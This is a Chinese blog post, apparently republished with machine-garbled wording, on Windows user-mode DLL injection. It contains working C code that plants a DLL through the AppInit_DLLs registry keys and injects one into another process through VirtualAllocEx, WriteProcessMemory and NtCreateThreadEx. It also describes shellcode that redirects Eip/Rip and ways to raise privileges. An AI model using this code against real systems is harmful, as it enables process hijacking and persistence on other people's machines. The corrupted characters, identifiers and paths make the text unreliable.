  紧接着,既然大家要对目的经过注入Dll,那么拿到目的经过的Id是少不了的啊,因为OpenProcess是早晚会动用的,这里本身也提供了二种通过指标经过影像名称获得进度Id的措施。第生龙活虎种是最布满的行使TlHelp成立系统的进度快速照相;第二种是依靠Psapi枚举类别函数,但是这几个方法本身完毕的有不满,叁12位下不能够得到60人进程的Id。

  在事关到注入的先后中,升高程序的权杖自然是必备的,这里自个儿提供了两个包裹的函数,都得以用来提权。第一个是因此权限令牌来调动权力;第叁个是通过ntdll.dll的导出的未文书档案化函数卡宴tlAdjustPrivilege来调治权力。

  那串ShellCode做了三件事:1.传入Dll完整路线参数;2.呼叫LoadLibrary函数地址;3.回去原先的Eip或Rip。

    HKEY    hKey = NULL;

    // 打开注册表
    Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE,        // 要打开的主键
        wzSubKey,            // 要打开的子键名字地址
        0,                    // 保留,传0
        KEY_ALL_ACCESS,        // 打开的方式
        &hKey);                // 返回的子键句柄
    if (Status != ERROR_SUCCESS)
    {
        return 0;
    }

    WCHAR*    wzValueName = L"AppInit_DLLs";
    DWORD    dwValueType = 0;
    UINT8    ValueData[MAX_PATH] = { 0 };
    DWORD    dwReturnLength = 0;

    // 查询注册表
    Status = RegQueryValueExW(hKey,        // 子键句柄
        wzValueName,        // 待查询键值的名称
        NULL,                // 保留
        &dwValueType,        // 数据类型
        ValueData,            // 键值
        &dwReturnLength);


    WCHAR    wzDllFullPath[MAX_PATH] = { 0 };
    GetCurrentDirectoryW(MAX_PATH, wzDllFullPath);

#ifdef _WIN64
    wcscat_s(wzDllFullPath, L"\x64NormalDll.dll");
#else
    wcscat_s(wzDllFullPath, L"\x86NormalDll.dll");
#endif

    // 设置键值
    Status = RegSetValueExW(hKey,
        wzValueName,
        NULL,
        dwValueType,
        (CONST BYTE*)wzDllFullPath,
        (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR));
    if (Status != ERROR_SUCCESS)
    {
        return 0;
    }

    wzValueName = L"LoadAppInit_DLLs";
    DWORD    dwLoadAppInit = 1;

    // 查询注册表
    Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);

    // 设置键值
    Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD));
    if (Status != ERROR_SUCCESS)
    {
        return 0;
    }

    printf("Input Any Key To Resumern");

    getchar();
    getchar();

    // 恢复键值
    dwLoadAppInit = 0;
    Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);
    Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD));

    wzValueName = L"AppInit_DLLs";
    ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR));
    Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength);
    Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)wzDllFullPath, 0);


    return 0;
}

  x64下:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindows

Psapi

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer);

#define NT_SUCCESS(x) ((x) >= 0)

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef NTSTATUS(NTAPI * pfnRtlCreateUserThread)(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits OPTIONAL,
    IN SIZE_T StackReserve OPTIONAL,
    IN SIZE_T StackCommit OPTIONAL,
    IN PTHREAD_START_ROUTINE StartAddress,
    IN PVOID Parameter OPTIONAL,
    OUT PHANDLE ThreadHandle OPTIONAL,
    OUT PCLIENT_ID ClientId OPTIONAL);


BOOL InjectDll(UINT32 ProcessId)
{
    HANDLE ProcessHandle = NULL;

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

    // 在对方进程空间申请内存,存储Dll完整路径
    UINT32    DllFullPathLength = (strlen(DllFullPath) + 1);
    PVOID     DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (DllFullPathBufferData == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    // 将DllFullPath写进刚刚申请的内存中
    SIZE_T    ReturnLength;
    BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength);

    LPTHREAD_START_ROUTINE    LoadLibraryAddress = NULL;
    HMODULE                    Kernel32Module = GetModuleHandle(L"Kernel32");

    LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");


    pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
    if (NtCreateThreadEx == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    HANDLE ThreadHandle = NULL;
    // 0x1FFFFF #define THREAD_ALL_ACCESS         (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF)
    NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL);

/*
pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");

    HANDLE ThreadHandle = NULL;
    NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL);    
*/

/*
HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, LoadLibraryAddress, DllFullPathBufferData, 0, NULL);        // CreateRemoteThread 函数
*/


    if (ThreadHandle == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
    {
        return FALSE;
    }

    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);

    return TRUE;
}

  大概还应该有本身从没读书到的Ring3流入Dll的法子,正所谓,路漫漫其修远兮,吾将上下而求索!

本文由9159.com发布于操作系统,转载请注明出处:比如利用远程线程、Apc等等

关键词:

上一篇:没有了
下一篇:没有了